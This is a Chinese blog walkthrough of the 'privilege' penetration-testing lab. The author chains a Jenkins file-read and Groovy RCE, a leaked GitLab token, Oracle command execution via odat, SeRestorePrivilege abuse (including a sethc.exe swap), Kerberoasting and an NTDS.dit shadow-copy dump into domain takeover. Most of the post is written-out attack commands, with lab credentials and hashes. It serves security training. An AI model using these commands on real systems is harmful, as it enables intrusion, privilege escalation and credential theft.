内网渗透技战法-春秋云境privilege靶场

privilege

信息泄露
Jenkins初始管理员密码
jenkins后台RCE
Gitlab API Token
Oracle RCE
SeRestorePrivilege提权
SPN
卷影拷贝提取SAM

外网(flag01)


   ___                              _  
  / _ \     ___  ___ _ __ __ _  ___| | __ 
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <  
\____/     |___/\___|_|  \__,_|\___|_|\_\   
                     fscan version: 1.8.3
start infoscan
39.98.124.30:8080 open
39.98.124.30:445 open
39.98.124.30:139 open
39.98.124.30:80 open
39.98.124.30:135 open
39.98.124.30:3306 open
[*] alive ports len is: 6
start vulscan
[*] NetInfo 
[*]39.98.124.30
   [->]XR-JENKINS
   [->]172.22.14.7
[*] WebTitle http://39.98.124.30       code:200 len:54646  title:XR SHOP
[*] WebTitle http://39.98.124.30:8080  code:403 len:548    title:None
已完成 6/6
[*] 扫描结束,耗时: 43.064779867s

先看80端口，wordpress

image-20260419144502-xuqmfhf

wpscan --url http://39.98.124.30
//多摁几下空格跳过更新

里面插件都没有RCE的洞

dirsearch扫描80端口找到源码泄露www.zip

image-20260419150947-mhqfngn

但是连接失败

image-20260419151322-whhrkbz

F:\Document\Desktop\www\tools目录下content-log.php存在任意文件读取

image-20260419151546-vuc3n0x

‍

http://39.98.124.30/tools/content-log.php?logfile=C:\ProgramData\Jenkins\.jenkins\secrets\initialAdminPassword

读取到密码510235cf43f14e83b88a9f144199655b

8080端口登录成功后发现命令行接口，groovy脚本命令执行

println "net user test T@123456 /add".execute().text
println "net localgroup administrators test /add".execute().text

image-20260419153045-aa7zvzs

rdp后可以连上数据库，说明这个数据库不允许外连

image-20260419153314-8po5dsy

内网

fsacn探测

start vulscan
[*] NetInfo:
[*]172.22.14.7
   [->]XR-JENKINS
   [->]172.22.14.7
[*] NetInfo:
[*]172.22.14.11
   [->]XR-DC
   [->]172.22.14.11
[*] NetInfo:
[*]172.22.14.46
   [->]XR-0923
   [->]172.22.14.46
[*] NetInfo:
[*]172.22.14.31
   [->]XR-ORACLE
   [->]172.22.14.31
[*] NetBios: 172.22.14.11    [+] DC:XIAORANG\XR-DC      
[*] NetBios: 172.22.14.31    WORKGROUP\XR-ORACLE       
[*] WebTitle: http://172.22.14.7:8080   code:403 len:548    title:None
[*] NetBios: 172.22.14.46    XIAORANG\XR-0923          
[*] WebTitle: http://172.22.14.16:8060  code:404 len:555    title:404 Not Found
[*] WebTitle: http://172.22.14.46       code:200 len:703    title:IIS Windows Server
[*] WebTitle: http://172.22.14.16       code:302 len:99     title:None 跳转url: http://172.22.14.16/users/sign_in
[*] WebTitle: http://172.22.14.7        code:200 len:54603  title:XR SHOP
[*] WebTitle: http://172.22.14.16/users/sign_in code:200 len:34961  title:Sign in · GitLab
[+] http://172.22.14.7/www.zip poc-yaml-backup-file

整理一下

172.22.14.7  本机        XIAORANG\XR-JENKINS
172.22.14.11 域控        XIAORANG\XR-DC 
172.22.14.31            WORKGROUP\XR-ORACLE
172.22.14.46            XIAORANG\XR-0923  
172.22.14.16 GitLab     http://172.22.14.16/users/sign_in

上传mimikatz抓一下本地hash，没抓到机器用户的hash

172.22.14.31(flag02)

z寻找泄露的Gitlab API Token

image-20260419161348-e6fllqn

println(hudson.util.Secret.fromString("{AQAAABAAAAAg9+7GBocqYmo0y3H+uDK9iPsvst95F5i3QO3zafrm2TC5U24QCq0zm/GEobmrmLYh}").getPlainText())

得到glpat-7kD_qLH2PiQv_ywB9hz2

http://172.22.14.16/api/v4/projects?private_token=glpat-7kD_qLH2PiQv_ywB9hz2

proxychains curl --silent --header "PRIVATE-TOKEN: glpat-7kD_qLH2PiQv_ywB9hz2"  "http://172.22.14.16/api/v4/projects/"| grep "http_url_to_repo"
//http_url_to_repo 字段提供了可以直接用于 git clone 的 URL

proxychains git clone http://gitlab.xiaorang.lab:glpat-7kD_qLH2PiQv_ywB9hz2@172.22.14.16/xrlab/internal-secret.git 
proxychains git clone http://gitlab.xiaorang.lab:glpat-7kD_qLH2PiQv_ywB9hz2@172.22.14.16/xrlab/xradmin.git 
proxychains git clone http://gitlab.xiaorang.lab:glpat-7kD_qLH2PiQv_ywB9hz2@172.22.14.16/xrlab/awenode.git 
proxychains git clone http://gitlab.xiaorang.lab:glpat-7kD_qLH2PiQv_ywB9hz2@172.22.14.16/xrlab/xrwiki.git 
proxychains git clone http://gitlab.xiaorang.lab:glpat-7kD_qLH2PiQv_ywB9hz2@172.22.14.16/gitlab-instance-23352f48/Monitoring.git

在xradmin/ruoyi-admin/src/main/resources/application-druid.yml找到Oracle的账密

MUDT连接，但是连接后无法拿shell

image-20260419163430-ttedlu9

去kali2024使用odat进行连接，odat支持执行命令，我们这里直接添加用户

proxychains odat dbmsscheduler -s 172.22.14.31 -p 1521 -d ORCL -U xradmin -P fcMyE8t9E4XdsKf --sysdba --exec 'net user aaa T@123456 /add'
proxychains odat dbmsscheduler -s 172.22.14.31 -p 1521 -d ORCL -U xradmin -P fcMyE8t9E4XdsKf --sysdba --exec 'net localgroup Administrators aaa /add'

image-20260419200115-5kt5swo

rdp上去读文件，用utlfile也可以读文件

proxychains -q odat utlfile -s 172.22.14.31 -d orcl -U xradmin -P fcMyE8t9E4XdsKf --sysdba --test-module --getFile C:/Users/Administrator/flag flag02.txt flag02.txt

172.22.14.46(flag03)

从gitlab下载下来的文件有XR-0923的登录凭证zhangshuai | wSbEajHzZs

image-20260419200850-u5uqz6q

net user zhangshuai

image-20260419202842-jurmcjx

在 Remote Management Use组，允许通过管理协议（如 WinRM、WMI）远程执行管理任务，并且开启了WinRM的端口5985

image-20260419204544-wcodv1l

proxychains -q evil-winrm -i 172.22.14.46 -u zhangshuai -p wSbEajHzZs

whoami /all

image-20260419204726-w69j9fg

此时发现多了SeRestorePrivilege，利用 SeRestorePrivilege 特权可以直接修改文件的所有者和操作权限，比如修改修改 C:\Windows\System32 下的文件

# 配置文件和用户
$Path = "C:\Users\Administrator"
$User = $env:USERNAME

# 修改当前路径文件所有者
$Acl = Get-Acl -Path $Path
$Acl.SetOwner([System.Security.Principal.NTAccount] $User)
Set-Acl -Path $Path -AclObject $Acl

# 查看文件所有者
$Acl = Get-Acl -Path $Path
$Owner = $Acl.Owner
$Owner

# 获取文件完全控制权，创建一个新的访问规则：允许 $User 对路径进行“完全控制”，并继承到子文件夹和文件
$Acl = Get-Acl -Path $Path
$AccessRule = New-Object System.Security.AccessControl.FileSystemAccessRule($User, "FullControl", "ContainerInherit,ObjectInherit", "None", "Allow")
$Acl.SetAccessRule($AccessRule)
Set-Acl -Path $Path -AclObject $Acl

https://h0ny.github.io/posts/Privilege-%E6%98%A5%E7%A7%8B%E4%BA%91%E5%A2%83/#%E7%AC%AC-3-%E5%85%B3

ren C://windows/system32/sethc.exe C://windows/system32/sethc.bak
ren C://windows/system32/cmd.exe C://windows/system32/sethc.exe

或者上传Invoke-SeRestoreAbuse

win+R powershell -ep bypass

Import-Module Invoke-SeRestoreAbuse.ps1
Invoke-SeRestoreAbuse -Command 'cmd /c powershell -c "whoami > C:\foo.txt"'
//只能写到C:根目录

172.22.14.11(flag04)

正向连接上线，mimikatz抓XR-0923$的哈希 6c58fe523be4d03a759eaf03c6651e8e

image-20260420195041-tcmjo0m

XR-0923$机器用户默认在域内，可以进行抓bloodhound

proxychains -q bloodhound-python -d xiaorang.lab -u 'XR-0923$' --hashes 6c58fe523be4d03a759eaf03c6651e8e:6c58fe523be4d03a759eaf03c6651e8e -dc XR-DC.xiaorang.lab -c all -ns 172.22.14.11 --zip --dns-tcp

image-20260420200041-urvssx3

TIANJING 是 Kerberoastable 用户

proxychains python3 GetUserSPNs.py xiaorang.lab/'XR-0923$' -hashes :6c58fe523be4d03a759eaf03c6651e8e -dc-ip 172.22.14.11 -request -outputfile tianjing.hash

image-20260420203347-2assvk3

image-20260420203410-erly8f0

hashcat tianjing.hash

image-20260420203516-bb4fk92

hashcat -m 13100 F:\Document\Desktop\tianjing.hash rockyou.txt

//用kali
hashcat -m 13100 -a 0 tianjing.hash /usr/share/wordlists/rockyou.txt --force

image-20260420203638-bi82y1u

tianjing:DPQSXSXgh2

image-20260420203736-an4fu58

使用域用户 tianjing 的凭据去获取主机 XR-DC$ 的 PowerShell 会话（CanPSRemote）

proxychains evil-winrm -i 172.22.14.11 -u tianjing -p DPQSXSXgh2 
whoami /priv

*Evil-WinRM* PS C:\Users\tianjing\Documents> whoami /priv

特权信息
----------------------

特权名                        描述             状态
============================= ================ ======
SeMachineAccountPrivilege     将工作站添加到域 已启用
SeBackupPrivilege             备份文件和目录   已启用
SeRestorePrivilege            还原文件和目录   已启用
SeShutdownPrivilege           关闭系统         已启用
SeChangeNotifyPrivilege       绕过遍历检查     已启用
SeIncreaseWorkingSetPrivilege 增加进程工作集   已启用

可以继续打SeRestorePrivilege ，也可以打SeBackupPrivilege卷影复制

SeRestorePrivilege

image-20260420210002-aofqsp8

# 配置文件和用户
$Path = "C:\Users\Administrator"
$User = $env:USERNAME

# 修改当前路径文件所有者
$Acl = Get-Acl -Path $Path
$Acl.SetOwner([System.Security.Principal.NTAccount] $User)
Set-Acl -Path $Path -AclObject $Acl

# 查看文件所有者
$Acl = Get-Acl -Path $Path
$Owner = $Acl.Owner
$Owner

# 获取文件完全控制权，创建一个新的访问规则：允许 $User 对路径进行“完全控制”，并继承到子文件夹和文件
$Acl = Get-Acl -Path $Path
$AccessRule = New-Object System.Security.AccessControl.FileSystemAccessRule($User, "FullControl", "ContainerInherit,ObjectInherit", "None", "Allow")
$Acl.SetAccessRule($AccessRule)
Set-Acl -Path $Path -AclObject $Acl

image-20260420210100-savjiab

或者提权后创建

net user hacker P@ssw0rd123! /add /domain
net group "Domain Admins" hacker /add /domain

SeBackupPrivilege卷影复制

set metadata C:\Windows\Temp\meta.cab
set context clientaccessible
set context persistent
begin backup
add volume C: alias cdrive
create
expose %cdrive% F:
end backup

保存到1.txt，用unix2dos转换格式

unix2dos 1.txt

然后通过WIN-RM上传

要切换到C目录，然后创一个test文件夹切换过去(不然后面会没权限)

image-20260420212509-4giugv4

cd ../../../
mkdir test
cd test
upload 1.txt
diskshadow /s 1.txt

image-20260420212923-w1qyexj

robocopy /b F:\Windows\ntds . ntds.dit

image-20260420213019-bl5jhly

reg save HKLM\SYSTEM .\SYSTEM
下载到kali
download ntds.dit
download SYSTEM

proxychains impacket-secretsdump  -system SYSTEM  -ntds ntds.dit local

image-20260420214205-ckk9e2y

proxychains evil-winrm -i 172.22.14.11 -u Administrator -H "70c39b547b7d8adec35ad7c09fb1d277"

posted @ 2026-04-21 21:26 m1xian 阅读(29) 评论(0) 收藏举报

刷新页面返回顶部

m1xian